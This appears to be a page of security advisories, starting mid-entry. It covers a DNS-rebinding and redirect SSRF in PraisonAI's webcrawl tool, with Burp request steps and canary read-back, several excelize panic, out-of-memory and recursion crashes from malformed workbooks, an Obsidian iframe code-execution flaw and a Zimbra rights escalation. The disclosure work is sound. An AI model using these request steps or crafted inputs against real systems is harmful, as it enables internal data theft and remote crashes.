Snippet: python with httpx.Client(followredirects=False, timeout=30.0) as client: for in range(maxredirects + 1): if not issafecrawlurl(current): # re-resolves hostname (CHECK) raise ValueError("Redirect target failed SSRF validation") response = client.get(current) # resolves AGAIN at CONNECT Issue: even with per-hop redirect re-validation, issafecrawlurl(current) and client.get(current) are two separate DNS resolutions of the same hostname. A rebinding domain answers public to the check and internal to the connect → TOCTOU bypass. No IP pinning.

Code point 4 — urllib fallback (same function), no per-hop guard

Snippet: python import urllib.request with urllib.request.urlopen(url, timeout=30) as response: # re-resolves + auto-follows redirects content = response.read().decode('utf-8', errors='ignore') Issue: when httpx is not installed, this fallback inside crawlwithhttpx fetches the URL and auto-follows redirects with no per-hop/per-connect validation. (Results from this function are labelled "provider": "httpx" regardless of which path runs.)

Code point 5 — crawl4ai/Chromium backend (confirmed addendum)

The crawl4ai backend (crawlwithcrawl4ai → crawler.arun(url=url), headless Chromium) is also runtime-confirmed affected (browser re-resolves DNS / follows redirects with no per-connect guard). To keep this report focused on the webcrawl SSRF guard, the backend-specific evidence is in SSRF-04Crawl4AISSRFBackendAddendum.md.

Attack flow 1. Attacker controls a hostname (e.g. rebind.lab) whose authoritative DNS rebinds. 2. Lookup #1 (the guard) → a public IP → issafecrawlurl() returns true. 3. The backend re-resolves → the attacker's DNS now answers an internal/private IP (cloud metadata, loopback, internal service). 4. The backend connects to the internal service and returns its body to the caller → internal data disclosure.

Why existing protection is bypassed - The guard validates the hostname, not a pinned IP; check and connect resolve independently → DNS rebinding (TOCTOU) defeats it on every backend. - Redirect re-validation (httpx path) re-checks the hostname but still re-resolves at connect, so it does not stop rebinding; the urllib fallback and crawl4ai backends have no per-hop guard at all.

Security boundary The server-side fetch reaches internal/loopback/metadata services not exposed to the attacker and returns their content (CVSS Scope: Changed). Reachable wherever an agent can be induced to crawl an attacker-supplied URL (PR:L). An unauthenticated single-request path to webcrawl read-back was not found in 4.6.63 (so PR:N / Critical is not claimed).

Proof of Concept

Environment Real PraisonAI 4.6.63 in a local Docker runtime; a controlled internal canary service (Docker-internal only, not published) returns synthetic markers; a controlled DNS responder implements rebinding for rebind.lab. No public host / real metadata / real secret. Runnable assets: PraisonAI-Runtime-Repro\runtime-files\.

Steps to reproduce 1. Burp Repeater tab PRAI-05-01-DNS-Rebind-Trigger → 127.0.0.1:18080: http POST /tool/webcrawl HTTP/1.1 Host: 127.0.0.1:18080 Content-Type: application/json

{"url":"http://rebind.lab:8081/secret"} 2. Send (PRAI-05-02-DNS-Rebind-Secret-Readback captures the response). If a send returns the "blocked" error, the rebinding DNS auto-resets (~3s) — resend. 3. Redirect variant: PRAI-05-03-Redirect-Trigger / PRAI-05-04-Redirect-Secret-Readback send {"url":"http://redirector:8082/redirect-to-internal"}.

Expected result A safe SSRF guard refuses destinations that resolve to internal/private IPs regardless of DNS timing or redirects, and does not return internal content.

Actual result HTTP 200 with the internal body in the crawl result. Primary evidence is the provider: "httpx" backend returning the internal canary via DNS rebinding: json {"inputurl":"http://rebind.lab:8081/secret", "result":{"content":"{ ... \"secret\": \"PRAISONAIINTERNALSECRETCANARY7f3a91\", \"token\": \"FAKEINTERNALTOKENDONOTUSE7f3a91\" ... }","provider":"httpx"}} The redirect variant returns the same internal markers via a redirect chain (provider: "httpx").

Screenshots

DNS rebinding read-back

The attacker-controlled rebind.lab URL is accepted by webcrawl, and the PraisonAI response contains the internal canary response body.

<img width="1543" height="785" alt="01-DNS-Rebind-Burp-Readback" src="https://github.com/user-attachments/assets/e86e95dd-3d3a-4bef-b1c6-cb897234a212" />

DNS rebinding runtime evidence

The runtime log shows rebind.lab first resolving to an allowed/public IP during validation (guard-pass), then resolving to an internal Docker IP during the actual fetch (fetch-hit). The internal canary receives GET /secret from the PraisonAI container.

<img width="1654" height="828" alt="02-DNS-Rebind-DNS-Log-And-Internal-Hit" src="https://github.com/user-attachments/assets/f1d28046-de34-48f0-9bee-bbe26e598d5f" />

Redirect-based SSRF read-back

The attacker-controlled redirector URL is accepted by webcrawl. PraisonAI follows the redirect and returns the internal canary response body containing PRAISONAIINTERNALSECRETCANARY7f3a91.

<img width="1540" height="772" alt="03-Redirect-Burp-Readback" src="https://github.com/user-attachments/assets/79eec159-4b9f-44be-a9eb-b15aba35ead8" />

Redirect chain runtime evidence

The controlled redirector returns 302 -> http://internal-canary:8081/secret, and the internal canary receives GET /secret, confirming that the server-side client followed the redirect into the internal network.

<img width="1637" height="894" alt="04-Redirect-Internal-Hit-Log" src="https://github.com/user-attachments/assets/1c503e30-9d01-4d32-8658-497f755a969e" />

Reproduction assets

The attached archive contains the local Docker runtime used to reproduce the issue with controlled canary services only. It does not contain real secrets, real cloud metadata access, or third-party API keys.

PraisonAI-Runtime-Repro.zip

Impact SSRF against internal/loopback/cloud-metadata endpoints with disclosure of internal HTTP responses (read-back) to the attacker. Bypasses the project's SSRF protection on every fetch backend.

Suggested remediation 1. Resolve the host once, reject all returned records that are private/loopback/link-local/ULA/CGNAT/metadata, then connect to that exact validated IP (pin it; send the original Host). Do not let the HTTP client / browser re-resolve. 2. Apply the same validation + IP pinning to every backend (httpx, urllib fallback, crawl4ai) and every redirect hop. 3. Disable automatic redirect following (or cap + re-validate each hop with pinning). 4. Treat IPv4-mapped IPv6, decimal/octal/hex IPs, and CGNAT/non-global ranges as unsafe.

First published (updated )
Severity
7.5
Divide by Zero
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Any file whose first 8 bytes are the OLE compound-file signature (D0 CF 11 E0 A1 B1 1A E1) is routed by OpenFile/OpenReader/OpenBytes → openReaderAt → Decrypt. The version dispatch only guarantees len(EncryptionInfo) >= 4 before handing attacker-controlled EncryptionInfo/EncryptedPackage buffers to standardDecrypt/agileDecrypt, and no callee validates structure. Malformed but version-valid content therefore fails as an unrecovered runtime panic instead of an error, terminating the calling process.

Details

All panic classes below were execution-confirmed against pristine master (ecd99d761fe0, 2026-09-08). excelize.go:211-213 maps Decrypt errors to ErrWorkbookFileFormat, but panics bypass that path and kill the process.

| # | Malformed input | Panic | Site | |---|---|---|---| | 1 | standard, len(EncryptionInfo) 4–11 | slice bounds [:12] | crypt.go:238 | | 2 | standard, attacker-controlled headerSize uint32 | slice bounds [12:12+headerSize] / fixed-offset header reads | crypt.go:238-249 | | 3 | standard, verifier remainder < 72 (AES) / 60 (RC4) bytes | slice bounds in standardEncryptionVerifier | crypt.go:282-295 | | 4 | standard, header.KeySize = 0xFFFFFFFF | slice bounds [:536870911] with capacity 48 | crypt.go:321 | | 5 | standard, EncryptedPackage stream missing/short | slice bounds [8:0] | crypt.go:268 | | 6 | agile, len(EncryptionInfo) 4–7 | slice bounds [8:4] | crypt.go:407 | | 7 | agile, valid XML without <keyEncryptors> | index out of range [0] with length 0 | crypt.go:416, 433 | | 8 | agile, saltValue decoded length ≠ AES block | cipher.NewCBCDecrypter: IV length must equal block size | crypt.go:425 → 512 | | 9 | any, keyData blockSize="0" | integer divide by zero | crypt.go:539 |

Note the asymmetry pinpointing the missing constraint: the agile path already checks len(EncryptedPackage) >= 8 (crypt.go:520-523) but the standard path does not (#5). Existing tests only cover the error paths (short <4 bytes → ErrUnknownEncryptMechanism, bad XML, base64 errors), never these panic paths.

PoC

Standalone programs (public API only, inputs built in memory) were provided to the maintainer by email: 1-decrypt-panic builds seven malformed CFB containers and shows each panic escaping the public Decrypt API plus one end-to-end OpenReader crash. All cases print PANIC on master and BLOCKED with the proposed patch. A regression guard proves legitimate decryption is unaffected: a workbook encrypted with the package's own Encrypt() still opens through the same code path.

(A separate advisory covers the unbounded/negative allocation in extractPart.)

Impact

Any service that calls OpenFile/OpenReader/OpenBytes on untrusted input (upload processing, mail scanning, spreadsheet conversion) can be killed remotely and without authentication by a file of ~100 bytes to ~3 KB. No password is required — panics occur during structural/parameter handling before successful decryption. Site variety means filtering one pattern does not help.

Proposed fix

A recover() boundary in Decrypt mapping any panic to ErrWorkbookFileFormat (restores the documented error-routing contract; legitimate standard/agile decryption unaffected). A complete patch has been provided to the maintainer; per-site length validation is recommended as defense in depth.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

extractPart allocates directly from the mscfb directory-entry size with no clamping (crypt.go:198, same missing bound at crypt.go:204):

go buf := make([]byte, entry.Size)

entry.Size is the raw streamSize field from the attacker-controlled CFB directory entry (mscfb v1.0.8 fixFile, file.go:109-120: full uint64 → int64 for major version 4, low uint32 for v3). mscfb only detects short sector chains later, inside File.Read (file.go:485-489 "emergency brake") — i.e. after the allocation. The zip path already enforces UnzipSizeLimit, and the KDF path bounds work with maxSpinCount; this path consults no limit at all.

Details

Two consequences, both execution-confirmed against pristine master (ecd99d761fe0, 2026-09-08):

1. Hard crash: a version-4 CFB declaring streamSize = 0xFFFFFFFFFFFFFFFF yields entry.Size == -1 → panic: runtime error: makeslice: len out of range, which escapes Decrypt (openReaderAt converts errors, not panics, excelize.go:210-214) and kills the process. 2. Memory exhaustion: any CFB (v3 suffices) declaring streamSize up to 0xFFFFFFFF forces up to 4 GiB of zeroed allocation from a ~12 KB file — an amplification factor of ~350,000×, trivially repeated per request in memory-limited deployments.

Call path: OpenFile/OpenReader/OpenBytes → openReaderAt (excelize.go:208-215, OLE magic sniff) → Decrypt (crypt.go:145-150) → extractPart (crypt.go:198).

PoC

A standalone program (public API only) was provided to the maintainer by email (2-extractpart-oom): it builds a valid-enough v4 (4096-byte sector) CFB — header (signature, sector shift 0x0C, DIFAT[0]=1), one directory sector with Root Entry (typeID 5, child=1) and a stream entry EncryptionInfo (objectType=2, startingSector=endOfChain, streamSize=0xFFFFFFFFFFFFFFFF). mscfb.New succeeds, doc.Next() returns the entry, and extractPart calls make([]byte, -1) before any chain validation. On master ecd99d761fe0 the program prints panic: runtime error: makeslice: len out of range; with the proposed patch it prints BLOCKED. An -oom flag demonstrates the 4 GiB allocation variant with streamSize = 0xFFFFFFFF.

Impact

An attacker uploads any file starting with the OLE signature D0 CF 11 E0 A1 B1 1A E1 (~12 KB is enough) to a service that calls excelize.OpenFile/OpenReader/OpenBytes on it (or calls Decrypt directly): remote, unauthenticated process crash (hard panic) or forced 4 GiB allocation per request (OOM) with a ~350,000× amplification factor.

Proposed fix

Bound the declared stream size before allocating in extractPart: reject negative sizes and sizes above a sane policy cap (1 GiB is far above any real encrypted-workbook part) with ErrWorkbookFileFormat, so malformed CFBs are rejected as errors instead of panicking or OOMing. A complete patch has been provided to the maintainer; verified that the patch blocks the PoC while legitimate Encrypt() output still opens.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

ANCHORARRAY (calc.go:15137 on current master) evaluates each cell of the referenced spill range by calling the exported CalcCellValue, which unconditionally constructs a fresh calcContext — fresh entry marker, fresh iterations map, full MaxCalcIterations budget (calc.go:896-900). The circular-reference control only exists within one context: the entry-exclusion marker and per-ref iteration budget are fields of that single context, and completion-based caching (formulaArgCache/calcRawCache) only ever stores results of evaluations that finish.

During a pure cycle no nested evaluation ever finishes, so nothing is ever cached to break the recursion, and each hop re-arms the entire budget. Two ordinary, Excel-legal constructs in an attacker-supplied workbook are enough:

- A1 (dynamic array formula, ref A1:A1): xlfn.ANCHORARRAY($B$1) - B1 (dynamic array formula, ref B1:B1): xlfn.ANCHORARRAY($A$1)

→ CalcCellValue → calcCellValue → evalInfixExp → parseReference → cellResolver → … → ANCHORARRAY → CalcCellValue → … forever, ending in a fatal, unrecoverable Go runtime error: runtime: goroutine stack exceeds …-byte limit / fatal error: stack overflow. Go stack overflows cannot be recovered — the whole process aborts.

Details

- The terminating edge the iterations gate is supposed to provide does not exist across contexts: there is no in-flight tracking shared between nested CalcCellValue calls. - Both formulas are ordinary Excel-legal constructs; no exotic XML is required. - Excelize's own APIs reach formula evaluation on untrusted cells implicitly (e.g. pivotTable.go:538, picture.go:985/1141, col.go:892), so a service that merely adds a pivot table or a picture over such a workbook dies. - No option value prevents it: MaxCalcIterations is irrelevant because every hop gets a fresh budget. - Measured: a 64 MB stack budget is exhausted in ~0.09 s; the ~1 GB default in ~1–2 s.

PoC

A standalone program (public API only) was provided to the maintainer by email (4-anchorarray-recursion): NewFile + SetCellFormula with FormulaOpts{Type: array, Ref: A1:A1 / B1:B1}, then CalcCellValue("Sheet1","A1"). On master ecd99d761fe0 (2026-09-08) the process aborts with fatal error: stack overflow; with the proposed patch the cycle terminates normally (CYCLETERMINATED) and existing calc tests pass.

Impact

An attacker ships a workbook containing the two formulas; any service that evaluates a formula over those cells — directly via CalcCellValue, or implicitly via AddPivotTable / AddPicture / auto-fit — aborts. Remote, unauthenticated, process-fatal, no configuration prevents it.

Proposed fix

Evaluate spill-range cells through the current calculation context — fn.f.cellResolver(fn.ctx, …) instead of the exported CalcCellValue — so the entry check and iterations gate of the running calculation apply. cellResolver returns the typed value directly (dropping a string round-trip); an ArgEmpty → "" shim preserves the existing ToNumber behavior for empty spill cells, and a fresh-context fallback covers the legacy nil-ctx test paths. A complete patch has been provided to the maintainer.

First published (updated )
Severity
7.8
XSS
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Obsidian Desktop before 1.14.0 contains an arbitrary code execution vulnerability in the Slides core plugin that allows attackers to craft a malicious Markdown note containing a data-background-iframe attribute that survives DOMPurify sanitization. When the victim opens the note and starts it as a presentation, Reveal.js promotes the attacker-controlled value to an iframe src without URL-scheme restrictions, executing a javascript: payload that reaches Node.js APIs via parent.require in the Node-integrated, context-isolation-disabled renderer to achieve arbitrary command execution as the Obsidian user.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

An authorization flaw in Zimbra Collaboration Suite’s GrantRightsRequest allows an attacker with access to an authenticated account to grant another local account the loginAs right, creating persistent mailbox access and mail-sending authority that survives password changes and session expiry.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203